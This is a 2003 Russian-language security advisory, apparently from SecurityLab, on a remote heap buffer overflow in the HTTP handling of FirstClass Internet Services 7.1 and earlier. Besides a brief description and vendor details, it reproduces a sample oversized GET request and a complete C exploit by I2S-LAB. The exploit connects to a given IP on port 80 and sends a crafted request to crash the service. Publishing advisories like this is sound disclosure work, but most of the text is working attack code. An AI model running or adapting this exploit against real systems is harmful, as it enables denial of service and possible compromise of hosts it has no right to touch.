Security Lab

Удаленное переполнение буфера в FirstClass Internet Services

Дата публикации:09.10.2003
Всего просмотров:1352
Опасность:
Высокая
Наличие исправления: Нет
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Удаленная
Воздействие: Отказ в обслуживании
Компрометация системы
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: FirstClass 7.x
Уязвимые версии: FirstClass 7.1 build 133 (SP3) и более ранние версии

Описание: Уязвимость обнаружена в FirstClass Internet Services. Удаленны пользователь может вызвать отказ в обслуживании и скомпрометировать уязвимую систему.

Уязвимость в проверке границ обнаружена в "fcintsrv.exe" при обработке HTTP запросов. В результате удаленный пользователь может послать специально сформированный HTTP запрос, чтобы вызвать переполнение динамической памяти.

Пример/Эксплоит:

GET / HTTP/1.1[A x 246]
Эксплоит:
#include <windows.h>
#include <winsock.h>
#pragma comment (lib,"wsock32.lib")

#define PerfectOverwrite 246

void main (int argc, char *argv[])
{

int len;
SOCKET sock1;
SOCKADDR_IN sin;
char *sav;

WSADATA wsadata;
WORD wVersionRequested = MAKEWORD (2,0);

printf ("- FirsClass Internet Services Remote DoS -\n\n"
"Discovered & coded by I2S-LAB\n"
"http://www.I2S-LaB.com\n\n");


if (!argv[1])
{
printf ("Usage : %s <IP Address>\n", argv[0]);
ExitProcess (0);
}

if (WSAStartup(wVersionRequested, &wsadata) ) ExitProcess (0);

if (!(sav = (char *) LocalAlloc (LPTR, 20 + PerfectOverwrite)) )
{
printf ("Error ! cannot allocate enough memory.\n");
ExitProcess (0); 
};

lstrcat (sav, "GET / HTTP/1.1");
memset (&sav[14], 'A', PerfectOverwrite - 4);
lstrcat (sav,"DDDD\r\n\r\n");

sin.sin_family = AF_INET;
sin.sin_port = htons (80);

if ( (sin.sin_addr.s_addr=inet_addr (argv[1])) == INADDR_NONE)
{
printf ("Incorrect IP Address : %s\n", argv[1]);
ExitProcess(0);
}

sock1 = socket (AF_INET, SOCK_STREAM, 0);

printf ("\nconnecting to %s...", argv[1]);

if ( connect (sock1,(SOCKADDR *)&sin, sizeof (sin)) == SOCKET_ERROR )
printf ("connection failed!\n");

else
{
printf ("ok!\nSending crafted request...");

send (sock1,sav, PerfectOverwrite + 18,0);
puts ("ok!");
} 

closesocket (sock1);
}

URL производителя: http://www.centrinity.com

Решение: Установите обновленную версию программы.

Ссылки: FirstClass Internet Services Remote DoS